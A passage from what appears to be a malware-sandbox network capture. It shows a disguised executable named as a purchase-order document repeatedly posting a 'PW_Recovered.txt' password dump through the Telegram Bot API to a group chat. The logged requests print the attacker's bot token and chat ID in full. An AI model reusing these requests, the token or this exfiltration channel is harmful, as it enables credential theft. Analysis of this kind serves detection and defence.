6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd36e6e7e4e3a7Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:30 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:30 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:30 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 31 30 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27689,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168310,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	62576	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:31 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd3710a584599e Host: api.telegram.org Content-Length: 584
2025-01-06 12:58:31 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 37 31 30 61 35 38 34 35 39 39 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd3710a584599eContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:31 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:31 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:31 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 39 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 31 31 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27691,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168311,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	62577	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:32 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd3764ffccd6fc Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:58:32 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 37 36 34 66 66 63 63 64 36 66 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd3764ffccd6fcContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:32 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:32 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:32 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 39 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 31 32 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27693,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168312,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	62578	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:33 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd37b98652dd29 Host: api.telegram.org Content-Length: 584
2025-01-06 12:58:33 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 37 62 39 38 36 35 32 64 64 32 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd37b98652dd29Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:33 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:33 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:33 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 31 33 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27695,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168313,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	62579	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:34 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd37f41f8fb465 Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:58:34 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 37 66 34 31 66 38 66 62 34 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd37f41f8fb465Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:37 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:37 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:37 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 39 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 31 37 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27697,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168317,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	62580	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:38 UTC	351	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd3989bbd5cc9f Host: api.telegram.org Content-Length: 584
2025-01-06 12:58:38 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 39 38 39 62 62 64 35 63 63 39 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd3989bbd5cc9fContent-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:38 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:38 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:38 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 36 39 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 31 38 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27699,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168318,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	62581	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:39 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd3a06fbc20179 Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:58:39 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 61 30 36 66 62 63 32 30 31 37 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd3a06fbc20179Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:39 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:39 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-06 12:58:39 UTC	532	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 37 37 30 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 32 33 38 38 34 37 30 36 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 75 67 6f 6e 6f 76 32 34 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 75 67 6e 6f 76 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 2d 34 35 31 37 38 36 35 32 37 37 2c 22 74 69 74 6c 65 22 3a 22 55 47 4e 20 32 30 32 34 20 4e 4f 56 22 2c 22 74 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 22 61 6c 6c 5f 6d 65 6d 62 65 72 73 5f 61 72 65 5f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 73 22 3a 74 72 75 65 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 31 36 38 33 31 39 2c 22 64 6f 63 75 6d 65 6e 74 22 Data Ascii: {"ok":true,"result":{"message_id":27701,"from":{"id":7238847064,"is_bot":true,"first_name":"ugonov24","username":"ugnovbot"},"chat":{"id":-4517865277,"title":"UGN 2024 NOV","type":"group","all_members_are_administrators":true},"date":1736168319,"document"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	62582	149.154.167.220	443	2820	C:\Users\user\Desktop\fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 12:58:40 UTC	375	OUT	POST /bot7238847064:AAGocEE5wf6xU07DB5NC_n2nfh76_dkS10A/sendDocument?chat_id=-4517865277&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd3a4a2e21a650 Host: api.telegram.org Content-Length: 584 Connection: Keep-Alive
2025-01-06 12:58:40 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 33 61 34 61 32 65 32 31 61 36 35 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 30 34 35 30 31 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 36 2f 30 31 2f 32 30 32 35 20 2f 20 30 37 3a 35 36 3a Data Ascii: --------------------------8dd3a4a2e21a650Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:045012Date and Time: 06/01/2025 / 07:56:
2025-01-06 12:58:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 06 Jan 2025 12:58:40 GMT Content-Type: application/json Content-Length: 532 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
